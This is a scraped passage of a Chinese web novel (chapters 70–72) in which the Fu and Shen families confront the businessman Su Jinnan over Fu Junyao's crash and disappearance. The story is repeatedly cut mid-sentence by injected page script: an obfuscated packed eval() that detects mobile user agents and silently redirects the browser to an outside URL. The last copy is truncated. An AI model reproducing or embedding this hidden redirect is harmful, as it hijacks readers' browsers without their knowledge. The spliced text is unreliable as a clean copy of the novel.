$(''#content'').append('' p> 他突然侧头,视线却没仰上去,盯着傅淮湛的衣角,片刻沉吟,嗓音肃冷,却藏不住担忧:“你,去找你妹妹!不管想什么办法,都必须找到她!在没找到前,苏津南那边,不要露了馅!” 这话在傅珺瑶上一次失踪时,也出现过。 傅淮湛身侧的手微微蜷起,指腹摩挲两下,回答尚且存有几分忌惮:“爷爷,我让人找过了,找不到,珺珺的手机关机了,最后出现的地方就是出事的地方。” 老爷子的头猛地上仰,怒目钉过去,明显要发作。 傅淮湛无意识地往后退了两步,身侧的手捏紧,喉结不安地滚了滚,好算赶在老爷子之前开口:“不过……” “我还有一个办法,只是这个办法……需要您同意。”傅淮湛说这话时底气明显不足,甚至直接避开老爷子的视线,像是被人拿刀架在脖子上勉勉强强说完。 “什么?”老爷子毫不犹豫。 傅淮湛先瞟了眼站在身侧的爸妈,又慢慢扫向顾清漪,最后落回老爷子身上时,他仍然迟疑。 “快说呀!”老爷子明显没什么耐心。 一旁的顾清漪搭腔:“就是啊淮湛哥,你倒是快说出来什么办法呀,珺珺现在还没脱离危险呢!” 傅淮湛掀眸迅速瞥她一眼,两侧的手紧握成拳,骨节突出。 他咬咬牙,道:“找沈家帮忙。” 老爷子眼角一抽,眼底炸出抹震惊。 怒气凝滞在鼻腔,只要稍微引动,便有爆发的可能。 “爷爷,我觉得也没必要瞒着您了,之前我在洱南找到珺珺的时候,她就跟沈述白在一起了,当时他们误以为彼此是夫妻,如果不是因为我在,珺珺是不会跟他分开的!” 这话一出,震惊的不再仅仅只是老爷子。 一旁的李茗蕤和傅臣北似乎都没料到。 两人面面相觑,抿着唇,暂时没出声。 傅淮湛停顿的时间不长,又接着道:“而且新闻您也看了,他们回来之后还有联系,没准…没准沈述白有办法能找到珺珺,而且他们沈家本来就是专门研究科技的,没准能很快查到珺珺的踪迹……” 几句话像是赶火车一般,完全不想在嘴里再多停一秒,只想着飞速吐完。 顾清漪的双神扫过傅淮湛,又谨慎移到老爷子身上。 傅淮湛的嘴唇抿成一条线,迟迟没有松开。眼神瞥向身侧的爸妈,求助的意思明显。 傅臣北一双剑眉紧蹙,眸底尚且留有诧异。双臂和旁侧的李茗蕤交叠在一起,他抬掌,在她手背上点了两下,然后松手,上前两步。 “爸,眼下事情发展成这个样子,咱们家跟沈家这些年的恩怨也许真的是个误会!您不是说了想让妈和大哥瞑目吗?而且珺珺是您最看重的孙女啊,万一苏津南他真的对珺珺做出点什么……” “好了!”傅臣北的话被打断,老爷子的怒吼伴随着一声震耳的轰响落下,敦实的茶几被拍得隐隐发颤,连带着茶水都荡着惊恐的余波。 老爷子斜眸,再次顶上傅淮湛的视线。 傅淮湛本能地眨了眨眸,松动的唇还微微发白。 “备车!” 70. 15 沈宅。 沈行之正陪着沈女士和老爷子吃晚餐。 王阿姨突然过来,神色略显不自然,悬在嘴边的话似乎也难以出口。 “王阿姨,怎么了?”沈行之率先开口。 王阿姨两手叠在腹前,仍然迟疑。 沈女士抬眸望过去,咀嚼食物的动作慢下来,说:“王阿姨,有什么事你直接讲就好了。” 王阿姨终于松口。 “是…是院门口的门卫打电话过来,说是…是有客到访。” 闻言,沈行之悄然放下手里的筷子,拿起餐巾慢慢擦嘴。 “谁?”沈女士问。 “傅…傅老爷子。” 话音落下,沈女士声色未动,老爷子即刻转眸,视线对上来,眼周横着的皱纹挤在一起,语气不太和善:“他来做什么?” “门卫说…好像是傅小姐出了事,一来是找述白,二来…也有事想和您二位谈。” 沈女士和老爷子视线短暂交汇,暂时沉默。 沈行之稍微后挪,身下的凳子退出去些,他起身,语气平缓:“奶奶,还是我先过去看看吧?如果真的有事,我就把人带进来?” 沈女士半掀过眸,沉默依旧,仍然迟疑。 沈行之又补充:“能牵动傅老爷子过来,我想这事没准还跟姑姑扯得上关系,奶奶,总不能让我弟一个人一直当那无头苍蝇?” 沈女士眉心一抽,又和老爷子对视几秒。 她放了筷子,不紧不慢地擦干净嘴,道:“把握好分寸。” 沈行之唇角浅勾,“您放心。” 沈行之在玄关换了鞋,王阿姨把他的外套递过来,他压低声音道:“您把我房间里的铁观音拿出来备着,用奶奶最喜欢的那套茶具,先稍微藏着点,别被奶奶发现。” 王阿姨一愣,旋即点点头。 沈行之拿着外套出门,两条腿不急不缓地往前迈着,院子里种的绿植半掩在昏黑的夜色中,慢慢往后移。 他盯着前方,唇边扬起抹略具深意的弧度。 院前的那扇大门越来越近,他瞟了眼那辆黑色迈巴赫,停在车牌上几秒,抬手,示意门卫开门。 大门慢悠悠滑开,车没急着开进来。 沈行之走到车侧面,稍微弯下身,越过傅淮湛,直接看向后座的傅老爷子。 “好久不见,傅董事长。” 眉眼稍稍弯起,语气倒也算不上平淡,语调反而带着几分诙谐。 傅老爷子的视线幽幽对上来,眉目没忍住内收,不过很快又像是强忍般压下去。 “这么晚过来打扰,还劳烦沈董亲自出来接,真是不敢当。”老爷子音色低沉。 沈行之扬唇笑笑,“应该的,原本奶奶要出来,不过恰好不赶趟,来了通紧急的电话,这才派我出来接您。” 老爷子轻哼一声,沉默不语。 傅淮湛扬起下巴,道:“沈董,上车吧?” 沈行之没拒绝,又提前解释:“二位的来意我也知道了,不过不巧的是,我弟弟今晚有事要忙,一时半会回不来。” “但也不影响,等二位先进屋,把事情的来龙去脉讲清楚,再做打算,也不迟。” 沈行之的双目缓缓挪向车后镜,视线不偏不倚和那道不怒自威的眸光相撞。 锋芒半露,隐隐有在黑夜中迸出火花的趋势。 傅淮湛及时刹车,等沈行之下车后,他迅速绕到车后,给老爷子开了门,压低声音讪讪开口:“爷爷,我们是为了珺珺、为了奶奶和大伯来的。” 老爷子低头理了理稍微皱褶的衣角,沉哼了声,瞥眸:“去把后备箱里的东西拿好。” 傅淮湛颔首:“明白。” 低调温馨的大门前,沈行之背手站在楼梯口,等着傅淮湛和老爷子,也不催促。 傅淮湛提好手里的东西,搀扶着老爷子,走到沈行之身边,短暂停顿。 沈行之不经意扫过他手里的礼盒,唇边的弧度更深,抬臂:“二位请。” 大门从里头慢慢拉开,王阿姨匆匆退至一边。 沈行之侧身,“请进。” 傅淮湛的视线悄然滑过他,又落回老爷子身上,等着他先迈步。 老爷子紧了紧唇,睨着前方已经陌生的空间,眸中闪着几分警惕。 “奶奶,爷爷,傅董事长到了。”沈行之对着里头轻喊。 老爷子的双腿僵直。 里头并没有回应,他的脚步也迟迟没有迈出去的意思。 “爷爷,咱们都已经到了,而且珺珺她……”傅淮湛压低声音,凑近老爷子耳边道。 横在眼上的双眉难以压制地内收,一声带着隐忍的沉吟从老爷子喉间漫出,他终于抬脚。 六节台阶很快被推至身后,越过深棕色的大门,经过玄关,眼前蓦然开阔。 暖黄色的灯光下,坐在沙发上的两人听见动静,同时转头。 六目相对。 傅老爷子那双灰眸狠狠紧缩。 沈女士和老爷子也同样难以平静。 只一瞬,气氛陡然跟着冷气下沉,僵硬又冰冷,柔和的灯光都难以拯救。 谁都没有开口。 沈女士的手臂悄然往身侧挪,捏紧了老爷子的手。 安静偌大的空间里,只有愈发沉重的气息声此起彼伏。 眼看着险些凝成的僵局,沈行之抢先开了口。 “傅董事长,先过来坐下吧。” 引着傅老爷子和傅淮湛上前,又暂时横在几位长辈相隔的空档间,朝向沈女士,牵了牵唇:“奶奶,爷爷,傅董事长也是带着诚意来的,这不,连您二位最喜欢的老山檀香都准备好了。” 他往后退了两步,站在了沈女士身侧,把几位长辈能够交汇的空间让了出来。 又补充:“谁不知道傅董事长是这方面的行家?这香啊都是留存的收藏级别的,想来也是傅小姐的事牵涉过多,傅董事长才会有如此重的诚意吧?” 最后把眼神递给傅淮湛。 傅淮湛很快上前,双手捧着送至沈女士跟前。 “沈董事长、安董,我爷爷知道二位喜欢檀香,小小心意,希望二位能收下。此次前来也确实是遇到很紧急的事,恳请二位不要介意才好。”傅淮湛语气和动作虽然不那么自然,倒也算得上谦逊有礼。 沈女士看了他一眼,暂时没接。 她抬手,顺了顺耳后的头发,眸子瞥过来,再次和傅老爷子交汇。 沉静的眸色中暗含敌意,眼睑渐渐上抬,眸光凛聚,氛围有重新压低的趋势。 傅老爷子搁在腿上的手慢慢捏紧,瞳仁微颤,却没有收回来的意思。 腮帮子鼓出来,在松弛的皮肤上再清晰不过。 场面一度僵持。 傅淮湛躬腰低头,双神默默瞟向爷爷几次。 沈行之暂时没有动作,同样凝向傅老爷子。 数十秒的沉默。 傅老爷子的拳头骤然松开。 他沉了口气,语气勉强算得上平缓:“沈董事长、安董,今天我过来,确实是有事想麻烦两位,这点小小心意,请两位先收下,后面的事情,我们慢慢谈。” 沈行之松了口气,很快转头,再看回沈女士。 沈女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312391|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士轻轻侧眸,朝着他扬了扬下巴。 沈行之很快会意,迅速接过傅淮湛手里的礼盒,又笑着道:“傅董事长有心了。王阿姨,赶快上茶,可别怠慢了客人!” 傅老爷子微凝的面色稍稍松驰,绷紧的下颌也跟着松开。 沈女士斜睨眼身侧的沈行之,到底没说什么。 王阿姨端着泡好的铁观音送过来,摆好茶具。 沈女士看到放在她跟前的紫砂茶杯,又注意到身侧一脸伪笑的孙子,轻哼,然后转头。 语气还算和缓:“傅董事长,我是听说傅小姐出了事,你既然连夜过来,咱们也不绕弯子了,有什么需求,就直接说吧。” 傅老爷子没有很快接话,几番停顿,似乎是在斟酌如何开口。 安静了没多久,沈行之又站出来。 “傅董事长,前不久我弟弟跟傅小姐的新闻咱们也都心知肚明了,我弟弟和傅小姐一趟洱南回来失忆又恢复记忆,倒是意外知道了很多消息,您不用避讳,您知道的消息,我们也了解得差不多了。” 傅老爷子不免一惊,不过很快转过弯,心口的顾忌消解大半,终于直言:“今天下午我们家珺珺和苏津南谈完事情之后,在郊外出了车祸,现在失踪了。一来,我是想问问沈二在今天下午有没有联系过珺珺。二来,也想借助沈家,尽快找到珺珺的行踪。” 沈女士轻轻点头,回眸和老爷子短暂相视。 几秒后,她道:“傅董事长,这件事听上去确实没那么复杂,不过站在我们的角度,好像也没必要帮这个忙。” “……” 傅老爷子一时语塞。 手掌再次紧握,沉肃的声音拖长,已经尽量在抹去话语中的锐刺:“关于我们两家的事,我的确不想随意猜忌,毕竟这么多年,呈现出来的事实都是如此。可珺珺洱南的那次意外之后,这件事却突然变了质,加上这次珺珺出事又和苏津南有或多或少的联系,我实在是难免往他身上想。” “倘若二十多年前的事也跟他脱不了干系,倘若当初臣东和千仪出事也是因为他!” 傅老爷子说到后面,情绪已经有些控制不住。 沈女士和老爷子的脸色也跟着变了。 “这件事我本来是任由珺珺去查的,可我没想到她也会出事。”傅老爷子的两只手陡然捏在一起,手掌不停交替握紧。 眉心也忍不住抽搐,原本停在眼底的沉肃全消,被逐渐攀升的忧色取代。 他的声音哽了哽:“我实在…实在不想再失去最重要的孙女,当初臣东离开已经是我的心头痛,几条人命啊,珺珺…珺珺绝对不能再出事,况且珺珺和沈二又彼此有意,说到底……也关乎我们两家。” 说到最后,傅老爷子的声音哽咽明显,也颤得厉害。 一旁的傅淮湛紧抿着唇,微微忌惮的眼神里透过几分心疼。 他上前,轻轻搀住傅老爷子的胳膊:“爷爷……” 沈女士面上稍稍动容,眼底也盈出些湿润,视线转移,瞥向偏厅。 她握紧身侧丈夫的手,一言不发。 几位长辈同时出神,陷入挣扎沉痛的情绪中,局面再次僵持。 沈行之蹲下身,挽住沈女士的胳膊,道:“奶奶,听傅董事长这意思,是想跟我们合作,究其深意也是和姑姑有关系,既然突破口已经送到跟前,咱们也没必要再坐以待毙了。” 沈女士瞬时凝神,思忖半刻,仍然谨慎:“可查到傅小姐的行迹又如何?保不齐这事苏津南有完全置身事外的安排?最后查到,不也是打草惊蛇?” 沈行之笑了笑,语气笃定:“我有办法。” 71. 16 苏津南从公司回来之后,一直在关注新闻,也在等消息。 新闻上暂且只报道郊区发生车祸,具体伤亡人数暂时没有详细报道。 樊茵那边只发来一条【等回复】,就没了下文。 冷白的灯光下,苏津南等得有些不耐烦。 他暂且把手机丢到一边,解了西装扣子,往旁边一扔,看了眼时间,眉头忍不住蹙起—— 时间已经不早了,楚茜还没回来。 虽说他平时不怎么管楚茜,但也跟她说过,他偶尔会回来住,晚上至少八点前,她必须到家。 他把领带甩到一边,解开领口最上边的两颗扣子,轻哼了声,想到昨晚的事。 难道是怕了他? “哼。”苏津南慢慢翘起腿,去翻找楚茜的电话,毫不犹豫拨过去。 原本还算轻松的面色消失在越拉越长的“嘟”声中。 苏津南没了耐心,挂了电话又再次拨过去。 几次反复,通话记录那一栏红色的数值越来越大。 眉头往内蹙紧,逐渐拧出狠戾,顶上华丽的吊灯暗暗发力,在他周身镀了层冷光。 了无人气的空间更显压抑。 苏津南连连啧声,直接从沙发上起身,呼吸渐粗,胸廓的起伏频率也跟着加快。 他迅速翻找到助理的电话。 这通电话倒是很快被接起,苏津南语气下沉,语速很快:“赶快帮我查一下楚茜的行踪!她不在家也没接电话!” 那头助理很快应下来。 结束通话之后,苏津南隐隐不耐烦,又扔了手机,一声低咒从嘴里出来。 “不知好歹的蠢女人!” 不怕他断了她的经济来源么? 不过是做好苏太太该做的事而已,有什么好躲的?! 想到这里,苏津南心底冒出股火,下意识咬了咬牙,腿朝着前面的茶几踢过去。 一声闷响,连着“吧嗒”一声,茶几侧面的抽屉被他踢开,露出一角。 他瘪唇,本想踢回去,视线却扫到里头的字。 动作突然一僵。 苏津南凛神,蹲下来,猛地拉开抽屉,在看到里面放着的东西之后,脸色完全沉下去。 《第二性》 《存在与时间》 两只手把两本书拿起来,眉心拧到最深,没了一点内挤的余地,颊侧的肌肉往两侧外绷紧。 他对哲学了解的程度不深,但和楚茜在一起这么多年,他不是不知道,楚茜喜欢《第二性》喜欢到什么地步。 这书不是他亲眼看着她扔掉的么? 怎么会出现在这里?! 况且她的支出记录里面,分明没有买书的条项。 一股莫名的慌乱从心底攀爬,连带着几分警惕往上冲。 他还没来得及往下思考,手机铃声又跟着响了好几声。 急促的声音暂时压下慌乱,反而添了几分烦躁。 他扔下书,去拿手机。 樊茵:【事情都办妥了,不过他们要加钱。】 樊茵:【被几个摄像头拍到了,要清痕迹。】 樊茵:【我废了半天口舌,今晚过来陪我。】 樊茵:【钱没结算,你过来给他们结。】 樊茵:【动作快点,监控弄得不及时被查到你也逃不脱。】 一连串信息同时涌进大脑,苏津南眉头先是一松,在看到后面几条消息后又重新皱紧。 他轻啧了声,睨了眼扔在地上的书,起身,抄起外套,往门口走。 临上车,他系好安全带,发动机的轰响在耳边鸣起,他半天也没踩下去油门。 好像哪里不太对。 但他一时半会说不上来。 脑海中还想着楚茜。 还有那两本书。 樊茵:【快点啊!】 樊茵:【人等着要钱!】 樊茵:【本来天天在我这挺好的,非要回去陪你老婆!】 樊茵:【我今晚约的按摩都给推了!】 消息又连着轰炸过来,苏津南不耐烦地挠了挠头,回复过去:【知道了,我现在过来。】 思绪乱作一团,苏津南只能先处理要紧的事。 车开进大道,融进稀疏的车流,在红灯路口停下。 他的指尖在方向盘上不停敲动,身体挪动几次,感觉怎么坐好像都没那么舒服。 楚茜…… 她想干什么? 她也打算反抗么? 前方车窗外的红色数字一分一秒流逝,苏津南逐渐瞪大眼睛,眼底几乎出现重影。 红灯骤然转绿。 他松了刹车,倏然轻嗤。 她拿什么反抗? 她什么都没有。 就算知道他所有的事,她也没证据。 况且一个已经脱离社会那么多年的人,一个离了他也没什么能力生存的人,谁会相信她? 苏津南眸子眯起。 当年……他不也就是看中她愿意当好他的贤内助么? 如果沈千仪也跟她一样,就好了。 沈千仪。 脑海中突然浮现那个女人的身影。 他一边唇角上扯,笑意牵着浓浓的不屑。 她反抗了又怎样?反抗他,不也死了二十多年? 她分明能跟他在一起,好好做个贤内助,偏偏要借着沈家的地位闯事业,还嫁给傅臣东那样的男人,傅臣东不过是看中她背后沈家的价值,哪里谈得上是真的爱她? 傅臣东。 苏津南唇边嗤出声更轻蔑的笑。 路边的霓虹照进车内,从他眸底散出的恨意几乎无处可躲。 为了跟沈家联姻,完全不顾他这个兄弟。 苏氏明明和启行也差不了多少,他却为了女人,毫不犹豫地舍弃他! 最后跟沈千仪一起死了,就是他活该! 傅沈联姻传奇? 这传奇还敌不过他一个人! 这下连傅珺瑶也死了,沈家那小子他再找机会处理掉,傅沈两家还是会敌对下去。 能够翻身的,还是他苏津南! 思绪像是渐旺的火团,越烧越猛。他双肩抖动,频率越来越快,唇角慢慢咧开,车厢内陡然回荡着“咯咯”响的冷笑,混进凉气里,变得更阴寒。 “刺啦”一声,苏津南的车稳稳停在庄园门口。 庄园是他早些年买下的,挂名在樊茵那。 樊茵手上的路子很广,涉及面也多,好几次他有事,都少不了她帮忙。 而且她愿意做他的情妇,嘴巴也严,最重要的是,她也怕“见光”,他来往起来也没什么负担,不需要多操心。 为了低调,庄园他们一般不安排人值守。 苏津南抽了车钥匙,从口袋掏了根烟出来,火星子还没来得及在夜里冒出一丝光亮,几声紧促的电话铃声便率先抢占了他的注意力。 往前迈的脚步也跟着停下。 是他的助理。 “苏总,我刚刚查到,夫人早上开了自己的车出门之后,车就一直停在环湖公园。我也去环湖公园找了,没找到夫人。” 苏津南猝然皱眉,语气不满:“没找到给我打什么电话?” 那头的人声音微颤,又试探性开口:“苏总,虽然没找到夫人,但我还查到,夫人前几天和弟弟一起去了铭逸看房子,好像还是傅总亲自接待的……” 苏津南愣了一下,身体完全僵住。 看房子? 他突然想起来,楚茜的父亲在她母亲去世之后又娶了妻,生了个比楚茜小很多的弟弟。 她怎么完全没提起? 就算要买房,她哪里来的钱买房? 傅珺瑶亲自接待的? 苏津南站在原地,整个人没入黑夜,只有手机屏幕照出来的一丝光亮,堪堪让他的脸露出来小部分。 他偏了偏脖颈,视线不偏不倚对上庄园的大门。 漆黑的庄园也没亮起一点光。 隐隐的,他越来越觉得不对劲。 傅珺瑶…… 楚茜…… 楚茜? 楚茜?! 苏津南的眸光骤然凛紧,唇角往内收,喉嗓不停下咽,顿出几声沉吟。 还有哪里不对。 樊茵…… 樊茵很少给他发消息。 苏津南眉头一皱。 樊茵一向都是先给他打电话! 他没再回复电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315877|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那头的助理,直接挂断电话,烟也收了回去,转身,疾步回车上。 发动机才启动,他已经迫不及待踩下去油门。 两侧的腮帮子鼓起,被包裹在颊内的牙关紧咬,磨出“吱吱”声响。 苏津南没忍住咒骂了声。 刚才应该先回个电话的! 窗外的黑影移动的速度还没来得及加快,前方冷白的远光灯倏然打过来。 苏津南的视线下意识往旁边避开,“嘶”了一声,拍了两下喇叭。 对面驶过来的车很快切换近光灯,苏津南侧了方向盘,不打算减速,也没留意对面的车牌号。 车身刚要跟迎过来的车擦过,苏津南猛然踩了刹车—— 后面还有一辆车,而且挤在路中间,这两车道的路他根本过不去。 他“啧”了声,那股烦躁劲从心口彻底绕上来,他低咒了声,手捏成拳,狠狠捶了两下喇叭。 那车还不让。 “草!” 苏津南降下车窗,头偏出去,对着那头吼道:“能不能别瞎占车道?!倒是走啊!” 那辆黑车静默两秒,车窗慢慢降下。 苏津南稍微狰狞的面目突然僵凝在那里。 沈行之单手搭在方向盘,头慢悠悠侧过来,视线轻飘飘扫过来,却沉重落到苏津南身上。 “苏总?这么巧,你也在。” 他的语气平淡,完全听不出什么波澜。 苏津南紧皱的眉头还没能平撇。 话语堵在喉口,没能顺利发出声。 不对…… 不对! “苏总这么晚了来这里,是有什么要紧的事么?”沈行之的唇角稍稍上弯,却完全看不出一分笑意。 深邃的眉眼略显严肃,有内而外散发着股冷冽的狠劲。 苏津南捏紧方向盘,眼珠往旁侧转了转,看到挡住他车后道的黑色迈巴赫,视线又重新对上沈行之。 他扯唇,艰难地扯出抹笑:“哪里有什么要紧的事,只是受我太太所托,过来找个人,这不,事情说完了,我着急着回去呢,怕我太太在家等急了。” 沈行之长吟一声,面色如旧:“这些年一直听说苏太太贤良淑德、对苏总言听计从,是个顾家的好女人,没想到也会为难苏总,大晚上来这么偏僻的地方找人,这跟传闻中的苏太太还真是不一样呢。” 苏津南的眸子闪了闪,手掌狠狠挤压着方向盘,硌得掌心都隐隐作痛。 “不为难,再说了为我太太做点事,也是应该的。沈董如果没什么事,就麻烦让我过一下,免得我太太真等急了。” 苏津南的音色已经尽量维持着平和,只是语速仍然慢不下来。 沈行之的另一只手却慢悠悠抬上来,胳膊肘轻轻搭在车窗边。 他轻哼,语气冷幽幽的:“这么晚在这里遇到,苏总难道不好奇,我为什么会出现在这吗?” 苏津南本能地咬紧后槽牙,喉间沉了口气。 他的鼻梁往上拱了拱,语气更急切:“想必沈董肯定有事,我……” “够了!”苏津南话还没说完,一声怒喝从车后座传来,“跟他废什么话?!” 紧接着,车后座的车窗也跟着降下。 一双微微发红的怒目在车灯的照耀下格外清晰。 苏津南脸上扯出来的笑完全僵住。 安董毫无顾忌地朝他劈过来道狠怒的视线,两颗瞳仁冒出来的火光仿佛要把人烧灼干净。 苏津南的肩口下意识颤了颤,方向盘也被捏出“咯吱”的响声。 苏津南还看到,在他身侧,还坐着一个人。 他咽了咽喉,声音里不可控的含了些轻颤:“安董,您也过来了?您……” “苏津南!”他的话再次被打断。 傅老爷子猛力挣开傅淮湛的束缚,目标明确地朝苏津南的车飞奔过来。 他一掌拍在车门,震出响彻黑夜的轰鸣,另一手狠狠抓住苏津南的手臂,双眸猩红,怒喝:“你到底把珺珺弄到哪里去了?!这么多年…这么多年我那么相信你!你到底还要害我傅家多少人?!你把珺珺给我交出来!你把珺珺给我交出来!!” 傅老爷子的声音喊到后面已经嘶哑,情绪一瞬崩溃。 72. 17 “爷爷!”身后的傅淮湛几乎立刻追上来,从后面搀住他。 傅老爷子充耳不闻,也不顾他的阻拦,手越过车窗,还没靠近车门把手,苏津南的手已经先一步挡在那里。 他的语气里含满诧异,还带着浓浓的困惑:“傅董事长,您这是怎么了?珺珺?珺珺怎么了吗?您怎么尽说些我听不懂的话?” 话虽这么说,但越来越虚浮的声音已经出卖他。 “听不懂?!苏津南,你为什么出现在这里你不清楚吗?!我告诉你,你如果敢让珺珺出什么事,我就是拼了这条命!我也要让你把牢底坐穿!” “爷爷,您先别激动,身体要紧啊爷爷……”傅淮湛用力把人拦住,剑眉紧拧,眉目间横满担忧。 见状,沈行之迅速点了两下手机屏幕,拉了手刹下车,帮忙拦住傅老爷子。 “傅董事长,您先别急。” 又转身,对着苏津南,沉冷的眸光下睨:“苏总,据我所知,楚女士今天一早出门之后,就没再回去,不知道这家里,是谁在等你?” 苏津南仰颈的动作狠狠一僵。 他快速避开沈行之的视线,耳边吵哄哄的杂音牵动他的胸廓起伏,频率越来越快,从鼻腔喷洒出来的热气瞬间被车内的冷气扑散。 楚茜。 她去找傅沈两家的人告状了?! 不…… 不对。 她又没有证据,他们怎么可能相信她?! 可傅老爷子跟安董的态度…… 他们知道了什么? 他们怎么可能知道?! 傅珺瑶跟沈述白真的恢复记忆了? 可就算他们恢复记忆,不也是没证据? 苏津南的大脑飞速运转,猛力吸了口气,重新对上沈行之的目光。 “沈董对我太太的行踪了解得这么清楚?我都不知道我太太出门了,我这一天都是跟她手机联系的,这不正赶着回去见她吗?”底气明显不足。 沈行之冷哼一声,胸口明显动了动。 他暂时没开口,只一双厉眸剜过去,身体突然动了动,完全贴紧他的车窗。 苏津南的眼珠左右转了转,眼睫连着扑闪几下。 完全不明白沈行之想做什么。 “那……”沈行之突然出声,嗓音更沉。 苏津南的眉心慢慢内挤、皱紧。 “苏总就不用赶回去了!” 他的话音刚落,整个上半身突然俯下,手臂一扬。 苏津南几乎是立刻反应过来他想做什么,右脚迅速抬起又放下,狠狠踩中油门。 “下车!”沈行之比他快了一步,把抽出来的车钥匙扬臂一甩,仪表盘的光亮连带着车灯的光全部没入黑夜。 “沈董,我提醒你,这算是恶意破坏他人财物,并且言语威胁、攻击,我是能告你的!”苏津南深凛的目光砍过去,然而语气中隐隐泛起的紧张仍然无处可躲。 这话在沈行之耳朵里似乎根本构不成威胁,他对他抛出的恶狠也毫不在意。 沉嗤一声:“苏总还是先想想自己能不能全身而退吧。” 苏津南心口一紧。 “我什么都没做,进尚且谈不上,又何来的退?”他侧颈,盯着车前窗,语气隐隐不屑。 “你什么都没做?!珺珺出车祸不就是你干的吗?!苏津南,你害我傅家几条人命,你还是人吗?!”傅老爷子全身发劲,强力想要挣脱开傅淮湛,沉肃的嗓音嘶哑,苍老的眼眸中横满血丝,隐带湿迹。 “爷爷……您别激动……” 可老爷子浑然不听,手指颤抖着劈过去,继续嘶吼:“你放了珺珺!你如果非要我傅家人的命,你把我的命拿走!珺珺是我傅家的希望,你给我放了她!” 吼到最后,傅老爷子的情绪完全崩溃,笔挺的腰身弯下,声音里拖出几分抽噎。 “爷爷……”傅淮湛紧紧环着他的腰,不让他上前。 “你放了珺珺……明芳和臣东都被你给毁了……珺珺不能再出事了……不能再出事了……” 老爷子抽噎着喊出声,夹杂着浓烈的悲痛。脸上的皱纹都挤在一起,几道湿润从眼角漫出,越过皮肤,滴落在昏暗中,不见踪影。 苏津南仍然盯着前方,只有身侧的手慢慢收紧,“傅伯伯,所有的事都是要讲证据的,您什么证据都没有,就把一切往我身上推,这可是诬陷,我是能追究法律责任的。” “是么?”他的话才说完,沈行之一声质问跟着出口,语气冷冽,完全压下去这晚风里混杂的热意。 苏津南蓦然转头。 沈行之唇角牵了牵,噙出抹阴笑:“苏总是觉得自己做的所有事都天衣无缝?” 苏津南双目一怔,暂时答不出口。 “不过也是,能让沈、傅两家误会二十多年,苏总的本事也不小。” 沈行之的话语像是裹着寒冰,每一个字钻进皮肤,都能迸出刺骨的栗意。 苏津南的眸光逐渐警惕,平日里挂在脸上维持场面的温润全消。 “沈董的话,苏某听不懂。”他坚决不松口,腿往旁侧跨了一小步,手臂撑着座椅,臀部使力。 “是吗?那就让她来让你懂!”他还没能挪动一毫一厘,耳边突然挤进来一道沉冷严肃的声音。 苏津南肩脊一抖,头猛地后转,循着声音看过去,瞳仁猛地一缩。 沈行之和傅淮湛也同时转过头去。 距离两辆车不远的地方,沈述白从黑夜中走出来,沉静的脸上添了几分冷寂。在他身侧,一个留着齐肩短发的女人一身干净利落的黑色常服,双臂随意垂下,朝着两个钳制着另一个女人的壮汉扬了扬下巴。 两人拖着女人上前,走进车灯照亮的区域,苏津南几乎瞬间对上樊茵的眸子。 “草!”他恶咒一声,身体迅速往旁边侧滚,两只手扒着车门把手,猛力一拉,刚开了条缝,整个人就从门缝里钻了出去。 沈行之在他侧身的时候迅速伸出手去,到底还是慢了一步,掌心抓了空。 “别让他跑了!”沈行之大喊,两条腿跟着飞奔出去。 焦急的慌乱融进黑夜,晚风也跟着躁动,吹得树叶频频簌响。 苏津南铆足劲往前冲,沈述白没有半刻犹豫,长腿迅速跨开,疾速追上去。 苏津南咬紧牙,两臂在身侧飞速扬动,两条腿交替的速度已经到达极限。 可耳边的脚步声却越来越近。 下一秒,脖颈一紧,脚跟在平地上狠狠后跄。 “呃……” 苏津南本能地抓着领口,两颊上挤,牙龇嘴咧。 转瞬,沈述白幽冷的眸子横过来,手上的力道半点不松。 “苏总,既然不懂,跑这么着急做什么?” 他的声音沉哑,顿出的冷肃仿佛瞬间让他坠进深海,完全没有呼救的机会。 苏津南的喉嗓被衣领死死挤压,剧烈的疼痛钻进中枢,额头的青筋不可避免的暴起。 他挤着牙,一个字一个字咬出来:“松开!我…我不认识那个女人!” 沈述白没说话,胸口动了动,鼻腔里漫出声嗤哼。 抓着他领后的力道更大,转身,毫不留情地拖着他往车边走。 跑到一半的沈行之又跟着退了回来。 一旁的宋衿艺把短发别在耳后,乜斜他眼,低声揶揄:“你这身体素质不如你弟啊。” “……” 没入黑夜的身影重新暴露在灯光下。 沈述白阴沉着脸,腕上用力,把人往前一推。 苏津南本就没站稳,后颈又突然多了道力,整个人重心完全偏移,往前一趴,摔在自己那辆车的后备箱上。 紧接着,又上来两个壮汉,从他背后紧掐着他的手,苏津南一点反抗的余地都没有。 沈述白睨着他,深褐色的眸中满是嫌恶,他从口袋里掏出手帕,不紧不慢地擦着手,连指缝都不放过。 “苏总说不认识这位樊女士,她倒是认识苏总,而且手上还有和苏总的通话录音,苏总再好好看看,自己到底认不认识她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 